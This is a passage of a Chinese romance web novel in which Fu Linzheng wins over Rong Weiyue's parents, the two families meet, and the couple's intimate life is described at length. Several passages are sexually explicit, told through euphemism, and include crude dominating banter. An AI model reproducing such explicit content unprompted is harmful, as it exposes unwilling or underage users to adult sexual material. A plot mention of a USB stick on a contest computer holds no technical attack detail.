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总是觉得她这个不够、那个可以更好,他都不了解原来她还有这么多优秀的地方。
如今,有男孩子视她如宝藏,看她凡事都美好。
他们做父母的,都自愧不如。
容承业沉默良久,叹了声气,看向傅蔺征,面容褪去了先前的傲慢和不满:“蔺征,高中时候你缠着月月早恋,我确实对你印象不好,但刚刚听到你说了那么多,我心里很受触动……我不是个称职的父亲,谢谢你陪着月月。”
容承业停顿几秒,说出心底最大的顾虑:“蔺征,我知道你很优秀,你们傅家也是豪门贵族,我们家确实比不了,我唯一担心,是怕月月嫁给你会在你们家受了委屈。”
容家家业不小,但和傅家比不了,甚至放眼望去整个京市,能在经济方面谈和傅家平等的也寥寥无几,所以他们才一直求个门当户对。
傅蔺征替他们沏好茶,推到他们手边,抬眸看去,语气沉稳:“爸妈,在我心里,微月不是嫁给我,而是和我结婚,我们是平等的,从来不存在高攀。”
傅蔺征温声一句,就推翻他们的顾虑:“其实我们一领证,我就告诉我父母了,他们很支持我,上周我也带月月回家吃饭了,我家人都很喜欢她。”
容承业和盛柳怔住。
他们竟然已经见过面了?
容微月说,傅家人对她就如自家孩子一样,甚至把那些传家宝都赠予给她,从未看轻,因为他们知道傅蔺征足够爱她。
傅蔺征道:“经济条件这块爸妈不用担心,我父母不看中这个,他们知道我非月月不娶,只希望我们俩好好的,将来婚礼我也会风风光光地迎娶月月,以后保护好她,不让她受任何委屈。”
傅家对于两个孩子的婚姻大事,一直都很**,主打一个孩子开心,盛柳和容承业听完也愣住了,没想到傅家如此开明,反而是他们有点“以小人之心度君子之腹”了。
这时侍者敲门,得到允许后进来:“傅总,傅太太,晚餐现在可以点了。”
傅蔺征见容承业与盛柳尚在消化信息中,也想给他们留点空间,便起身牵起容微月道:“爸妈,那我们先去点菜。”
茶室里只剩下三人。
容新旭眼底残留着红意,率先道:“爸妈,我觉得姐夫特别好,他是真的爱姐姐。”
盛柳眼里还带泪,也忍不住点头:“从前我也以为他是个随性浪荡的公子哥,可没想到如此深情专一。”
容承业叹气喝了口茶:“我一开始不同意,是担心门不当户不对,怕月月在傅家被欺负。”
容新旭无奈:“爸,你那种老腐朽思想早该换换了,人家傅家都说不介意了,而且我姐能嫁给一个对她
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好又有经济实力的人,婚后不是更幸福吗?而且我看姐最近胖了点,没以前那么瘦了,姐夫肯定对姐姐很照顾的。
盛柳眸色微黯,提起之前的事:“还记得严家的严怀吗?我们之前觉得他条件好,逼着月月和他相亲,结果那严家做生意欠了几千万,我们差点把女儿推火坑里,如今月月和蔺征证都领了,总不能逼着他们离婚吧?
容新旭附和:“是啊,如果大姐在,能看到有人这么爱二姐,她一定会很高兴的。
这句话如同一记重锤,敲在容承业心口,让他一震。
如果是容思晴在,她必然先是看重对方对妹妹是否真心……
而他在意的重点却偏了。
一刻钟后,傅蔺征牵着容微月回到茶室,容承业看向女儿,终于缓缓开口:
“月月,爸爸妈妈希望你能嫁给一个疼你的人,一辈子安稳幸福,今天看到蔺征,他对你的在意我们也看出来了。
容承业看向傅蔺征,终于松了口,放柔声音道:“蔺征,你答应我,你这辈子都要好好对月月,绝不能辜负她,别忘记你今天和我们的许诺。
时跨六年。
终于,他们终于得到了父母的认可。
容微月鼻尖酸涩,傅蔺征看向她,眼底晕开热意,勾起唇角:“当然,我誓死不忘。
盛柳也替两个孩子开心,柔声问:“蔺征,那什么时候把你父母请出来吃顿饭?咱们亲家是不是也该见个面。
傅蔺征:“我这几天就安排,我爸妈也很想见你们。
容新旭也兴奋得凑上来,笑嘻嘻道:“姐夫,你就是我心目中最帅的姐夫,我太喜欢你了,你要对我姐好好的,也别忘了对我这个弟弟也好啊!
话一出,大家都笑了,容微月忍俊不禁,这个弟弟实在是嘴巴太甜了,傅蔺征眉梢挑起,“好,这是姐夫的责任。
……
一个下午,几人聊了许久。
晚上用餐时,傅蔺征把提前准备好的礼物拿出来,他知道容承业喜欢喝普洱,就选了一饼上世纪的典藏红印圆茶普洱;知道盛柳对昆曲最有研究,就送给她一个明清时期昆曲手抄曲谱真迹;又知道容新旭喜欢打篮球,送了他一双全球限量的收藏球鞋。
礼物不单单昂贵,也件件投其所好,彰显心意,容新旭高兴得一口一个“姐夫,都要跳起来,容承业和盛柳也被他的细心和真挚感动到。
和外表的张扬桀骜不同,傅蔺征温和真诚,对容微月也格外温柔宠爱,这一天下来,他们对他有了更多的认识,方方面面都颇为满意。
饭后,一行人走出室内,容新旭已经跟小迷弟一样黏在傅蔺征身边问着赛车,走
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在最前方的容承业看着妻子满脸藏不住的笑意感叹:“对女婿这么满意啊?”
“当然了蔺征不比之前我们介绍给月月的那些小伙子好啊?长得又高又帅也温和有礼”丈母娘看女婿越看越爱打趣丈夫“当初要不是你说不定他们早就结婚了。”
容承业哑然无奈:“那我那时候哪知道……”
容承业握住盛柳的手心里还愧疚着:“以前我做得不对我不能再那么对月月了我要克制住我的脾气你监督我。”
“江山易改本性难移。”
容承业语噎:“那我也得努力改我……我尝试一点点改。”他要再那样下去以后月月真的要和他断绝关系他后悔就来不及了。
盛柳叹气:“是我们做错了不能要求月月一下子就原谅我们只能慢慢弥补。”
到会所门口容承业也去车后备箱拿了给容微月带的礼物让两个孩子带回去还按照礼数给傅蔺征包了个大红包这也代表着他们彻底接纳了他这个女婿。
“月月那你和蔺征早点回去路上慢点。”盛柳拍拍女儿的手后者应下。
夜色沉静银蓝色的科尼塞克行驶在城市灯火间霓虹夜色节节**车外寒风凛冽车内却格外温暖。
副驾的容微月松了口气手里揉着围巾眉眼弯弯特别开心:“老公没想到事情这么顺利我爸妈他们还挺喜欢你的。”
压在心头的巨石终于被移开她现在心里别提多松快了。
傅蔺征单手操控方向盘握住她的手把玩施施然勾唇:“不都说了交给我就行?就我这种这么优秀的简单展示一下人格魅力有谁会不喜欢。”
容微月眼底晕开笑意笑着捏捏他腕口的潮汐手链:“是是是谁能不喜欢你呀怎么样今天一整天装温文尔雅装累了吧?从来没见你这么一本正经的时候。”
傅蔺征轻笑“我平时在你眼里就这么不正经啊?”
“不然呢?”
男人眼皮上的黑痣挑起:“行啊等会儿回家就让你看看我真不正经是什么样子。”
她耳根羞红“你赶紧好好开车。”
傅蔺征笑“我不是在开车么?”
嘴上手上都在开车速还动不动一百二的那种。
她脸红转过身“不理你我要睡觉了。”
晚上回到家躺在床上容微月靠在男人怀中
傅蔺征搂着她温柔道:“你不需要逼着自己这么快把过去都放下给自己和你爸妈都多点时间我今天和他们说那么多是觉得你的委屈他们身为父母必
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须要知道也该停止对你的伤害。”
他指尖轻抚她发丝耐心开解:“反正平时周末你想回家我就陪着你不想回我们就不回我们把重心放在我们两个人的生活上反正在这个家你想做什么就做什么开心就好嗯?”
容微月感动点头钻入他怀中男人在她额前落下一吻掌心覆在她脑袋上揉了揉低声喃喃:“我的月月值得被更多人疼爱我想要以后会有更多人爱你。”
他可以给她足够的爱但他希望她能被爱包围成为最快乐的小公主。
两天后的周末傅蔺征和容微月在禾盛庭设宴邀请双方父母来家里吃饭。
本来他们一开始是想把这顿饭订在外面的餐厅但双方长辈都还没来他们的新家看过就干脆一起请来到他们的小窝。
客厅里茶香氤氲傅司盛夫妇与傅老爷子坐在一侧容承业夫妇坐在另一侧氛围热络傅老爷子慈祥开口语调含笑:
“容先生其实我们两家人早就该见面的
傅老爷子在京圈是一等一的大人物一般人都攀不上话可面对他们态度如此谦和容承业连忙摆手道:“傅老先生不怪蔺征那时候我和月月妈妈刚好去旅游了时间不凑巧。”
傅老爷子笑笑:“阿征这孩子从小就倔一旦认定的事谁都拦不住你们放心他一定会把月月捧在手心里疼爱的我们也要谢谢你们生了月月这么好的姑娘以后我们两家人常走动听说你喜欢普洱以后经常来家里我们一起品茶?”
容承业忙笑应:“早就听闻傅老先生是品茶的行家能与您切磋是我的福气……”
容微月和傅蔺征在旁边听着默默惊叹。
傅老爷子讲话四两拨千斤瞬间化解隔阂果然这是大人们说话的艺术啊。
盛柳在旁也道:“月月和阿征好好的我们做父母的也放心了以前我们管得太严忽略了月月的感受。”
霓映枝温声劝慰:“哪有父母不疼孩子的?只是方式不同如今他们幸福我们做长辈的支持就好。”
“是的……”
聊到两个孩子礼金和嫁妆方面傅家格外大方给出的礼金堪称顶级豪门中的顶级除了现金还有给微月的各样资产包括傅蔺征个人一早就转给容微月的财产夸张得令人咂舌。
容承业和盛柳心中震撼傅司盛说:“阿征一早就说了要给月月最好的我们也是这么认为亲家回礼随意反正所有的钱都添置到他们的小家里两个孩子能把
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小日子过好就行。
三书六礼,明媒正娶,足够表明傅家的重视,傅蔺征也道:
“虽然没有这个可能性,但我想和父母们保证,如若将来我对不起微月,我会净身出户,将全部财产都归给月月。
容承业和盛柳愕然,这是把傅家的利益置于这场婚姻上,就是想给他们绝对的安全感,让他们知道她的决心,两人自然感动得无法言说。
下午,他们请的厨师带着食材来了,傅蔺征私底下和容微月道:“为了让你爸妈更放心我,今晚我会亲自下厨露两手。
容微月:“?
她弱弱说:“你确定吗?
“怎么?
“我怕他们会让我连夜去民政局离婚。
“……
傅蔺征气笑勾唇,捏她的脸,“容微月,你就这么看不起老子是吧?你等着。
容微月弯眉,“好哦。
傅蔺征跟着厨师真去了厨房,敢这么自信,当然是因为最近他都在厨师班进修,白天炒,晚上寸喿,没日没夜地研究两个方面的食谱。
晚上开饭,几道菜端上桌,大家尝了尝傅蔺征做的鱼和牛肉,发现味道还真不错。
霓映枝:“儿子真是变了,从小到大阿征就没进过厨房,米饭都不会煮的,现在成家了竟然肯下厨了,还挺好吃。
盛柳忙赞叹:“这个牛排炖得很好吃,鱼也蒸得也好嫩,蔺征真是全能啊,月月,你有时候和阿征一起下厨啊,不能老是让他辛苦。
傅蔺征给容微月挑鱼肉,挑眉淡笑:“月月不用下厨,都交给我来做就好,我要把她养胖点。
傅司盛笑:“没事,让阿征来,现在男孩子也要会做饭,我平时在家也经常给我太太做甜品。
盛柳打趣看向容承业:“看到没有?人家傅总平时日理万机还会下厨房给太太做甜品呢,你呢。
容承业老实:“我这就回去学,立刻补上。
大家笑,傅蔺征挑好鱼刺给容微月,让她小心刺,长辈们看着两个孩子恩爱甜蜜,也是高兴。
一顿饭下来,两家人交谈甚欢。
晚上迟些时候,两家长辈都离开了,送他们下楼后,容微月和傅蔺征回到家,坐在地毯上陪呼呼玩。
容微月唇角弯起:“没想到他们聊得还挺好的,阿征,你爷爷和你爸爸妈妈真的特别好,没有长辈的架子,每次和他们聊天我都很舒服。
傅蔺征捏捏她耳垂,懒声笑:“怎么,那不是你爷爷和爸妈?
容微月把小麻雀扔到远处,呼呼蹦跶追出去捡,她酒窝点缀在脸颊上,莞尔笑:“嗯。
傅蔺征靠着沙发,黑色套头卫衣长裤衬得他慵懒随意,长腿
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曲着,把她半圈进怀里,声线拖腔带调:“公主,以后我们两家人都会宠你。
容微月唇畔弯成月亮的弧度,转眼看他:
“老公,谢谢你。
他眯眼,“又说谢谢?
“你别从口袋里拿结婚证了。
她挡着他伸到卫衣口袋里的手:“我是真的要谢谢你,今年重新遇见你,又和你结婚,我感觉跟做梦一样,一切都苦尽甘来了。
他勾唇一笑,“我也是这么想的。
“感觉做梦都要笑醒啦。她弯起红唇。
傅蔺征戏谑:“不是早就跟你说了,多和我待在一块儿肯定会越来越高兴?现在知道这句话的含金量了?
“嗯,特别特别幸福。
把她搂到怀中,男人低懒的嗓音如带着钩子:“说说看,哪种幸福啊?
她咬着红唇羞道:“就是从内到外的幸福。
傅蔺征唇角勾起慵懒邪肆的弧度,宽大掌心覆上她小fu,掌心收紧,喑哑嗓音钻入她耳中:
“内是到这里的幸福么?
的确是一般人够不到的地方,容微月后脊背爬上细细麻麻,忍不住轻嗔:“傅蔺征你流氓……
男人浑坏:“宝宝,这样才叫流氓。
话音一落,他把她压在怀中吻了下来。
客厅里没开灯,只有月亮小夜灯散发柔柔光亮,窗外的万家灯火如银河倾斜,房间里静谧安然,一阵风卷起空气中淡淡的青橘香薰,清甜伴随空气升温。
傅蔺征扣住她后颈,若即若离,一下一下,从唇到唇,再从舌尖到舌尖,渍声明显,一点点烘烤着草莓蛋糕。
傅蔺征从高中就好会接吻,每次都能把她吻到晕乎乎的,半晌啪嗒一声,草莓蛋糕的丝绒礼带被扯开,黑**臂膀熟稔缠上,萸盈如夜光柔柔,小姑娘被惹得红唇泻出娇声。
呼呼叼着小麻雀,看了他们一眼,扭开脑袋走去了厨房。
过了会儿,容微月已经被他面对面抱到了怀中,毛衣衣摆挂到了脖颈,男人肌肉绷如铁铸,掐住她细腰,俯脸品尝蛋糕,嗓音沉哑:“宝宝,好甜好软……
容微月不禁往后仰着,被他的黑发弄得痒,又舍不得推开他,眼尾洇红,咬紧唇瓣:
“傅蔺征,你控制点……现在才八点多呢……
傅蔺征呼吸沉沉看她:
“宝宝,终于等你例假走了,早开始早结束,嗯?
说来也巧,从卢塞恩回来第一天,她的生理期就来了,那次在车上虽然芝士流心了,但好在并没有发生什么意外。
那天晚上,容微月还说奇怪,“以为会中的,竟然没中。
傅蔺征笑:“怎么,宝宝想中?
她
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第 51 章 她娇哭:“月月喜欢阿征……”...
第51章第五十一章
【她娇哭:“月月喜欢阿征……”】
chapter51
空气顷刻间凝固住。
傅蔺征盯着通话页面沉默两秒从容微月身上慢吞吞爬起来保持淡定打招呼:“……爸、妈晚上好。”
那头安静了几秒盛柳干笑回答:“……晚、晚上好。”
傅蔺征随意搭话:“你们吃晚饭了吗?”
刚刚才聚完餐回来的两个人:“……”
沉默是今晚的康桥。
傅蔺征轻咳改口:“我的意思是……爸妈晚上早点休息早睡早起长得高对身体好。”
“……?”
容微月捂着脸恨不得原地蒸发。
琴房被扣成城堡了QAQ.
那头盛柳干笑两声应:“好你们也是阿征平时挺忙的吧我看你工作挺辛苦的白天训练回到家还要给音音做饭。”
傅蔺征脱口而出:“没事我精力旺盛。”
“……”
电话那头又陷入了更可怕的沉默。
容微月羞得想拿块布塞到傅蔺征嘴里这人还说呢!
盛柳笑了笑忙道:“行那阿征你和月月去休息吧早点睡不要熬夜。”
这不要熬夜怎么莫名意味深长呢qwq……
容微月脸红温吞应了声挂了电话那头容承业和盛柳相视几秒都不忍回想傅蔺征那句**性的话容承业戏谑:“就这还温文尔雅呢?”
外表挺斯文。
私底下什么都来。
盛柳忍不住弯唇打趣:“那两个孩子刚结婚年轻人嘛有激情很正常你不想早点抱外孙了?”
容承业无奈叹气站起身说去洗澡了走到一半又折回来轻飘飘嘱咐:“记得给他俩煲点汤补补身体。”
“……”
另一头城堡里。
容微月脸颊红得跟打了催熟剂的小番茄似的羞得都想钻进地缝里可转头看到向来厚脸皮的男人罕见地耳根泛红又忍不住笑。
原来这人也会有不好意思的时候啊……
傅蔺征看她笑气笑把她抓过来:“和你爸妈打电话怎么不说一声?”
容微月弯眉:“你刚才给我说话的机会了吗?一进来就往我身上扑我要没告诉你
她都庆幸他收敛了要平时那些话说出来她真要无颜回家了。
容微月含笑揶揄:“上一秒我爸妈还在夸你温文尔雅、成熟稳重呢这下你在他们面前苦心经营的形象全崩塌了你说他们现在会怎么想你?”
傅蔺征看她幸灾乐祸的样子冷笑咬她一口:
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“反正老子就这形象,夫妻晴趣这不是很正常?”
容微月还没反应过来,就被他单手一把抱了起来往外走,她两条纤细白藕根连忙缠住他劲壮的月要,攀住他的肩膀:“傅蔺征……”
“怎么,你以为我刚刚跟你开玩笑的?”
娇小的她被他扣在怀中,黑色睡裙在灯光下粼粼泛光,裙摆微漾,细细蝴蝶带滑了半边,雪肌如上等的白瓷,那颗红痣映在他炽暗的黑眸里。
容微月像只被狼叼起来的小兔子,心跳怦然跳**了节拍,发现敌人已经来势汹汹攻到城门,脸红嗔他:“你怎么那么猴急……”
“撩了我几天了,知不知道我忍多久了?”
刚刚她在练琴,他没办法也只能去书房处理公事,可根本没有办法专心,火一点点烧上来,巍然挺拔。
平时需要高强度训练,傅蔺征那方面本来就比常人更旺盛,加之阔别了六年,大坝溃堤,洪流巨大倾泻,再也关不上闸门。
世界的一切对他来说都没有她美妙。
只想和她更多,更快乐。
单手托起她,傅蔺征扣住她后颈,很烈的吻覆了下来。
男人摄魄夺魂。
不过几秒,她就被诱着迎了上去。
清冽的薄荷气息和山茶花甜香缠绕,随后容微月被压在客厅长廊的墙上,傅蔺征把口袋里的拿给她,气音沉哑:
“宝宝,戴上。”
婚戒淹没,抽刀断水,小兔子眼睛红红的,感觉到危险了,试图求:“能不能回房间,我、我想躺着……”
“不能,就现在。”
“不要……”
男人气息沉得厉害,高大的身影将她完全笼罩,冷声命令:“你想等会儿我在这里直接杆死你就继续磨蹭。”
今天是好凶的坏人呜呜呜……
小兔子只好听话照做。
她想起之前和同学们去野外探险过,一个雨天,她踏进森林采蘑菇,森林里很多蘑菇,普通蘑菇星星点点很多,唯独有一个牛肝菌却像猛兽般敦实,格外突兀,厚重的伞盖铺展开。
六年前就爱吃,这个很适合煮火锅,她摘回来连同鸡蛋揉洗,准备烹饪美食,早已驾轻就熟。
火锅咕嘟嘟冒泡,小姑娘被放下来,一条腿踩着他的脚,一条腿被捞起架在男人宽阔的肩膀,黑痣直接代替婚戒。
如被钉在墙上,她眼尾滚下泪珠。
“傅蔺征……”
男人把她牢牢禁锢住,强势:“叫我什么?”
她不松口,“大狗狗……”
“跟我调皮是吧?”
火锅档位直接开到最大,容微月指甲掐他肩膀,面颊如落了枫叶,哽咽:“老公……”
“喜欢么?”
“
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喜欢……”
他掐住她腰“说清楚谁喜欢谁?”
她眼圈红红看着他像是捧满了爱意:“月月喜欢阿征……”
真的要爱死她了傅蔺征俯身吻她:“宝宝怎么这么乖啊。”
而后一点不留情。
她要气哭了嘴上说着她乖还越来越……
容微月举白旗说站不住了傅蔺征把她整个人托起按在墙上男人肌肉块块分明宽阔的身躯像面铁墙双倍的体型差把她整个人包裹住。
她睫毛挂着泪珠:“这个墙是承重墙吗?”
傅蔺征被逗笑“宝宝放心这墙怎么着都不会塌的。”
她双臂抱住他脖子傅蔺征看着她低磁的嗓音落下:“宝贝还记不记得你第一次来这里的那天早晨你也是被我抵在墙上当时想过没有你现在会被这样抵着?”
那天容微月来这里租房傅蔺征说没搬走他理由找了一大堆最后把她困住还反过来贼喊捉贼问她不会以为他是故意为之的。
那时候的她藏匿心动只敢和他保持着一定距离。
谁知道这人腹黑如狼两个月后连吃带吞直接负22.5的距离QAQ.
男人咬她耳垂思绪也乱了低声道:“宝宝当时就好想和你这样让你住进来每天晚上都缠着你哪怕你不爱我当你的玩具也可以。”
这人……
傅蔺征说估计那时候只要她主动一点他根本就忍不了了哪怕没名分白天她在工作室工作晚上回来他就进来她房间服务她给她极尽的快乐让她从内先沦。
谁能想象到看过去光芒万丈桀骜不驯的顶级太子爷晚上回来只对她俯首称臣当她的狗。
容微月听他形容着耳根烧红羞得不行:“傅蔺征你能不能别那么坏……”
这人也太浑了……
傅蔺征单手把她拎起来走她要掉下来连忙抱住他傅蔺征哑声道:“jia好掉下来一次今晚就在哪里加一次。”
坏蛋坏蛋大坏蛋……
但是她又忍不住好爱……
小猫咪泪眼婆娑咬他喉结傅蔺征继续迈步如同墙壁上的复古老钟秒针来回摆动但是钟摆坏了
他很凶:“走慢点你能怦?”
她脸上都是汗“呼呼要听到了。”
傅蔺征低笑看向远处狗窝里睡得正香的小家伙“它晚上睡眠很好不会被吵醒的。”
从客厅到影音厅再到书房或kuai或慢小月亮夜灯步步亮起而后折返到餐厅的水吧台柠檬水彻底倒了。
哗——
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小姑娘如颗风中的小橙子。
傅蔺征捧起她的脸,铺天盖地的吻落下,看到她两边都在哭,浑笑喟叹:“宝宝好棒啊。
他这才走了多久。
小橙子已经成橙子干了。
墙壁的挂钟没电池,等了好几分钟,都在换电池,容微月找到呼吸,低头看向所坐的皮质高脚椅,娇滴滴哭:“都怪你,我新买的椅子……
“没事,再买一把。
她控诉,傅蔺征笑:“沙发,地毯,船单,枕头,这段时间因为你换的东西还少么?
“……
把她抱到料理台上,他低头喝橙汁,过了会儿重新把她捞到怀中,傅蔺征舔了舔唇,低声蛊问:“还想吃吗?
彻底是一团浆糊,她吸鼻子,“想……
火锅又开了,牛肝菌重新下进锅里,刚刚都不是两人正常的饭量。
但是她说真的没力了,傅蔺征笑:“娇气。
抱着她走回主卧,房间门被关上。
光线昏暗,窗外夜色沉静,远处楼宇的淡淡灯火照进来,纱帘轻轻浮动,空气里泛着青橘的甜香。
静谧之内,是与世隔绝的喧嚣。
-
一顿菌菇火锅格外鲜美,差点营业到了海底捞的闭门时间。
天边浅浅的鱼肚白光影冲散了房间里的床灯。
开窗通风,去了客房。
第二天不出意外,容微月又睡到了快中午。
本来从前她失眠都要靠吃药才能解决,现在身边有傅蔺征后,情况完全相反,脑子一晕,直接一觉到自然醒,甚至第二天还爬不起来。
果然运动完就是好睡……
醒来后,小橙子干翻了个面晒太阳,懒洋洋趴着,半晌门被推开,罪魁祸首进来。
她水眸故意剜他一眼,扭过身。
像极了平时他太迟回家,呼呼对他的样子,尾巴撅得高高的,头埋得低低的,气鼓鼓不看他。
但她不知道这样更加危险么?
捣果汁的石槌掀开被子就能送进去。
傅蔺征勾唇上去把她搂住,低哄她:“怎么了,很累?
容微月瘪嘴:“像跑了个马拉松,外加唱了两个小时的KTV,你觉得呢?
傅蔺征笑声沉沉塌陷进她耳蜗,“宝宝,谁让你那么会扭又那么会叫。
“……
她在那种时候又媚又嗲,跟小奶猫一样呜呜得乱无章法却又好好听,如气体偆药,连抽噎都能让他疯,有的时候狠劲上来,他甚至要捂住她的嘴,不然没几下就交了。
容微月气得不想理他了,傅蔺征先去外面给她倒了杯,回来把她抱到怀中,“来,喝点水。
容微月喝着水,打开床头柜往里看去,发现
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里面已经空了一半脸热:“怎么用那么快……”
傅蔺征给她擦唇上的水珠勾唇:“最近我们这pin率这不是很正常?我准备补货了。”
主要是周长和长都太恐怖之前有些买的big号不行他用着太勒还是得要特big号。
之前他说是一个月的用量估计真是大差不差她嗔他:“不许你进货……”
他挑眉“不许什么?不用了就直接进?”
她羞得捂他嘴傅蔺征拿翻身把她困在怀中蛊声问她:“宝宝喜欢哪种我多买点。”
她本不想理他可最后还是被哄着回答就是那两款。
每次用这两种她总是格外快。
所以他一开始都先用其他的生怕她没多久就耗电结束关机了。
傅蔺征低笑“好那什么味道的?”
这还要问她吗她脸埋在他胸膛
反正每次房间里都是各种靡绯的花香果香她有的时候去工作室一个人坐在办公室里都感觉身上还带着香味勾着人思绪翩飞是他留下的特殊标记。
而傅蔺征也是每天耳鬓厮磨出门到车场大家都闻到他身上的青橘甜香有人问他悠悠然道:
“不好意思呢出门抱了老婆很久。”
大家:**这也太骚包了!!!
得知容微月喜欢的傅蔺征拿出手机当即就去下单了毕竟国内的款式太少从欧美那边送过来还需要时间。
他问她会不会累容微月轻哼:“你怕我累昨晚还那么久?”
“这不是好不容易才等你例假走?”
“我要再发烧了你就滚出家门吧。”
傅蔺征挠挠她下巴:“自己体质差还怪我?说出去也不害臊谁zuo个爱会累到看病的?”
“……”
她气鼓鼓咬他“我饿了不吃饭就**。”
“好抱你去洗漱。”
洗漱完傅蔺征抱着她走出卧室。
呼呼跑过来她对傅蔺征道:“你放我下来我要抱呼呼。”
“……”
“看到儿子就把我忘了?”
她抱起朝她摇尾巴的小团子害羞看向他:“以后不许你抱着我了。”
傅蔺征痞坏勾唇:“你说的是穿着衣服的抱还是没穿衣服的抱啊?”
昨晚的画面还历历在目。
容微月羞得说两个都不许。
她都诧异他这臂力:“傅蔺征你抱着我都不累吗?对你来说是什么感觉?”
傅蔺征轻笑“就跟拎一只猫似的你觉得会累么?”
这力量悬殊过大。
走去餐厅容微月喝了杯水润嗓傅蔺征也
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不再闹她,说一大早点了牛腩和海鲈鱼回来,中午给她做胡萝卜牛腩、清蒸鲈鱼,再炒个青菜。俪謌
容微月诧异:“这么大的菜你都能做得来?感觉你最近厨艺进步不少啊。”
动不动就要去上厨师班,能不进步么。
傅蔺征洗着小青苗,嗓音慵懒:“我现在唯一目标就是把你喂胖,你还想吃什么都告诉我。”
容微月心里暖得一塌糊涂,笑意浅浅,“你做的我都喜欢,你比我还了解我口味。”
傅蔺征笑了笑,走去冰箱,先给她拿了面包烤了烤垫肚子。
两人黏在一块儿,中午傅蔺征做了丰盛的三菜一汤,容微月口味大开,用牛腩汁拌着饭又多吃了半碗,幸福得像只小花猫。
傅蔺征看着她喜欢,满眼宠溺,成就感爆棚。
能把她各方面喂饱,这才配娶她。
中午吃完饭,容微月想去洗碗,就被傅蔺征赶走,“去忙你的事,进什么厨房。”
她笑着踮起脚尖亲了下他脸,“辛苦老公了,老公最棒了。”
傅蔺征淡然:“当然,我哪方面不棒。”
她不禁发笑。
而后她抱着呼呼去书房画稿,半小时后,傅蔺征换了身干净的家居服进来,端着盘洗好的车厘子。
两人窝在沙发上,傅蔺征搂住在画画的她,把车厘子送到她嘴边,“宝宝,张嘴。”
她张嘴咬着,傅蔺征又要喂一个,她咕哝:“我还没吃完呢……”
男人低笑,“嘴巴怎么那么小呢。”
她看到他意味深长的眼神,纯着眸子道:“你太大了,我当然吞不下去。”
傅蔺征眼底暗下,说她疯了敢来招惹他,她红着脸弯眉:“不闹了……”
吃着车厘子,只剩下核,傅蔺征伸手,“宝宝,吐我手里。”
她轻车熟路吐出来。
一边吃着车厘子,她一边画稿,傅蔺征也处理着公事,呼呼就窝在地毯上陪他们,午后日光惬意盎然。
过了会儿,傅蔺征看着手机,对她道:“关于当年的明恒之杯,我这边查到了点线索。”
“什么?”她本来都有点困了,立刻抬眸看他。
傅蔺征缓声言:“当年比赛是明恒文艺公司主办,但实际执行是三层外包,直接对接赛事组委的是凌光视觉科技,凌光科技把工作外包给了一个工程公司,负责现场布景等,而工程公司签约了一个团队,叫做天晟视效,是负责控制机房电路的。”
“决赛当天,天晟的排班人员是个大四的实习技术员,比赛没多久后这个实习技术员就被辞退了。”
不知道是背锅还是因为知道点内幕被赶走,
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后来他毕业后离开京市了,现在这个人还在找
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。
容微月疑惑:“那为什么当**明恒总部不知道呢?”
傅蔺征脸色沉沉:“这场比赛背后牵扯的不只是明恒,还有地方文化局、教育部门等,如果查到底,有领导要担责,而且很容易影响到政府和明恒文化未来的合作,所以明恒文化的老总就把锅直接推给凌光视觉,内部定性为技术故障,通报批评了下,没有进入明恒总部的事故档案。”
傅蔺征看着手机里怀裕调查来的内容:“六年前的监控录像肯定是找不到了,但比赛用的LED控制电脑是公司自备的,后来再也没用,所以硬盘没换,今天工程师查了电脑内部日志,在比赛当天曾经插过一个外来U盘,就在颁奖前的十分钟。”
容微月眉关一锁。
“这个U盘里的内容,很大可能那个屏幕上放出来的那些话,但因为三层外包,上上下下几十号人都有机会进入机房,排查量太大。”
“我觉得当务之急是找到那个实习技术员,他说不定知道内情。”
“嗯,我和你想的一样,”傅蔺征把她抱到怀中,“不急,交给我继续查。”
这件事并不复杂,人证比物证重要。
傅蔺征觉得,他们离真相并不远了。
她应下,继续画稿,过了会儿手机震动,拿起一看,竟然是柯尹梦。
【微月,今晚有空吗?这周我终于忙完有空约你了,新河剧院,老友琴聚,要不要一起来?】
之前柯尹梦约她出来,容微月以为是单独和她两个人:【老友琴聚?】
柯尹梦很快回复:【对,我还邀请了机构曾经的同学们,还有教我们的蔡老师,咱们都好久没聚了,你都不联系我们,今晚一定要来啊。】
容微月闻言,眼底泛起涟漪。
其实她很怀念和大家一起练琴的日子,可一瞬间如噩梦般的回忆本能般笼上心头。
“微月,大家说的是真的吗?你拿冠军竟然是因为勾搭明恒太子爷?”
“我们的老师辛辛苦苦栽培你,你却用这样的手段,也太肮脏了。”
“没想到容微月原来是这样的人,谁能玩得过她啊,投怀送抱贴上去。”
“搞不好她都被睡了呢……”
比赛那天刺耳的声音像碎玻璃一样再度扎在心头,容微月指尖发凉,呼吸微滞。
失神间,傅蔺征察觉到,“怎么了?走什么神?”
容微月锁上手机屏幕,垂了垂眼:“……就是你还记得我之前说过的柯尹梦吗,她今天晚上约我去老友琴聚。”
傅蔺征担忧将她搂在怀中,摸摸她头,“不想去?那我们就不去。”
容微月心头如**线缠绕闷裹:“没有,我其实挺想见她和老师同
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学们但是我也害怕他们会因为当初的事厌恶我……”
当初也有机构里很多人为她鸣不平蔡老师就很坚定地说她不是这样的人她很感动这么多年她也没去看看老师心里还挺愧疚。
傅蔺征抱着她让她靠在肩头柔声道:“总有人讨厌你但也总有人会喜欢你相信你那些同学老师中肯定也有相信你的人想不想去都行只要你开心不用去考虑别人的看法。”
容微月脑袋蹭蹭他的颈窝
傅蔺征亲亲她脸颊“好晚上我送你去。”
容微月应下然而一个下午她心情还是有些惴惴的晚饭后傅蔺征给她搭配好了衣服是一身米杏色的针织衫搭配着深棕的伞裙再披上一件驼色大衣。
婚后她许多衣服都是傅蔺征给她买的她倒也不关注价格但是都知道不便宜。
他衣品很好给呼呼的ootd也很会搭而且动不动一个发卡就是几万。
换好衣服她化了个日常的妆清冷的气质如温柔的天边月。
傅蔺征给她围上围巾牵着她走去玄关发现她只拿了个手包“琴呢?”
她手心出汗闷声道:“没事我不带了吧反正今晚也不用。”
“还有点紧张?”
容微月抿唇傅蔺征半蹲下来给她穿鞋抬温柔眼看她:“没事那就去和朋友们聊聊天我晚点再去接你回家。”
“好。”
路上容微月看着窗外模糊的烟紫色晚霞思绪飘拂半晌扭头看向驾驶座的男人软声开口:“老公。”
傅蔺征怔了下把手伸来:“怎么了。”
她握住他的手轻轻叹气:“我觉得自己很胆小软弱遇到事情就选择逃避和朋友们断联逃去杭市……我不喜欢这样的自己。”
小姑娘又开始自我怀疑了。
傅蔺征心疼蹙眉和她十指相扣把掌心的热意传过去:“再坚强的人也会有软肋要说胆小我不也是六年没去卢塞恩?”
